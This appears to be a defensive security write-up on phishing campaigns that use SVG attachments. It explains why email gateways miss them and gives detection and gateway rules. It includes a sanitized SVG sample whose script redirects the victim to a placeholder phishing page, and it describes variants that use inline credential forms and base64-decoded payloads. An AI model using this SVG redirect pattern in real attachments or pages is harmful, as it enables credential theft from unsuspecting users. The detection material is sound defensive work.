Why This Is New
SVG attachments are not new as a file format — they have been part of HTML5 since 2011 and were available as MIME-typed email attachments for years before that. What is new is the volume of phishing campaigns using them. Sophos, Cisco Talos, Cofense, and KnowBe4 each documented sharp increases in SVG-based phishing payloads through 2024 and into 2025, with multiple vendors describing it as one of the fastest-growing attachment vectors in their tracking.
The technique was always available. Attackers found it because secure email gateways generally inherited the assumption that an SVG file is an image. The format does not behave like an image. It is XML, it can carry script, and it renders inside the browser context with whatever capabilities the browser allows. The combination is enough to redirect, prompt for credentials, or stage a follow-on download — all from inside a "picture."
The Technique End-to-End
The campaign delivery looks routine. The lure email impersonates a billing notification, a voicemail transcription, an HR document, or a signature request. The attachment is named like Invoice_2654.svg or Voicemail.svg. The mail body is short and uncontroversial. The gateway processes the attachment and, on most defaults, applies image-class scanning rather than HTML-class scanning.
The user opens the attachment. Most modern Windows configurations default the .svg extension to the system browser, not an image viewer. The browser renders the SVG. At that point, depending on the variant, one of three things happens: a script element executes a window.location redirect to an attacker-controlled credential page; a foreignObject element renders a credential form directly inside the SVG canvas; or the SVG decodes a base64-encoded HTML payload and writes it into the document. From the user's perspective, they opened an "image" and are now looking at what appears to be a routine login prompt.
Why Current Controls Miss It
Three properties of the SVG handling chain produce the gap.
First, the file extension check. Most secure email gateways maintain attachment-type allow-lists or deny-lists. SVG often appears on neither, or appears only on the allow-list because it is a benign image format. The dangerous content is not the extension — it is what the parser does with the bytes inside.
Second, the MIME inspection. SVG carries the image/svg+xml MIME type. Content-inspection rules that operate on MIME class commonly group image/* together and apply image-targeted scanning (visual hashing, OCR, EXIF parsing). Those scanners do not read the XML body for script or foreignObject elements.
Third, the browser execution context. When the user opens the SVG, the browser treats it as a top-level document, not as an image embedded in a host page. This means same-origin protections that would constrain an img tag in a hostile page do not apply. The script executes with the privileges of a normal page navigation.
Worked Example
The shape below is a sanitized illustration. It matches the patterns described in public Sophos and Talos writeups: a foreignObject host carrying inline HTML, a script performing the redirect, and a placeholder host. Real campaigns use rotating attacker-controlled domains; the placeholder here is example.invalid per RFC 6761 and will not resolve.
<!-- Sanitized illustrative shape. Pattern matches public Sophos and
Talos writeups; not a working sample. -->
<svg xmlns="http://www.w3.org/2000/svg" width="600" height="400">
<foreignObject x="0" y="0" width="600" height="400">
<body xmlns="http://www.w3.org/1999/xhtml">
<script>
// Pattern: redirect on render to an attacker page.
window.location.href = "https://example.invalid/phish-landing";
</script>
<p>Loading secure document...</p>
</body>
</foreignObject>
</svg>Variants substitute the script-driven redirect with an inline credential form rendered in the same foreignObject, eliminating the need for a follow-on hop. Other variants base64-encode the HTML payload and decode it at runtime via atob, which adds noise against signature-only scanners but does nothing against parsers that read the SVG body as text.
Detection Ideas
Three detection layers cover most public variants.
**SEG content inspection.** Parse image/svg+xml attachments as XML and quarantine any that contain script, foreignObject, or executable event-handler attributes (onclick, onload, onerror). This single rule has been described as effective by multiple defender writeups and is the highest-leverage change.
**YARA-style content match.** A simple rule on the substring "<script" or "foreignObject" within an SVG body catches the majority of public samples. False positives are possible — some legitimate SVGs (interactive infographics) include script — but in enterprise inbound mail, the false-positive rate is low enough to use as an alerting signal even when not blocking.
**Endpoint follow-on.** If the SVG executes and pivots, the follow-on telemetry is the same as any browser-launched credential phish: a redirect to an external domain, an HTTP POST of credentials, possibly a download triggered by the redirect target. EDR rules on browser-spawned downloads from rare external hosts catch the second hop where the gateway missed the first.
Limitations and Caveats
A few things did not work as cleanly as defenders initially expected.
**Extension-only blocking** stops some campaigns but is brittle: operators can deliver SVGs inside ZIPs, IMGs, or password-protected archives to bypass extension allow-lists.
**Modern web-mail sandboxes** (Outlook on the web, Gmail web) do constrain SVG rendering when the file is previewed in-browser, but the moment the user downloads the file, the protection no longer applies.
**SVG signing** is not a real control in practice; very few organizations sign their inbound SVGs and most browsers do not validate signatures.
What did work, repeatedly across public writeups, was content inspection at the gateway. Quarantining inbound SVGs that contain script or foreignObject reliably blocks the technique without affecting the small fraction of legitimate inbound SVGs that organizations actually receive.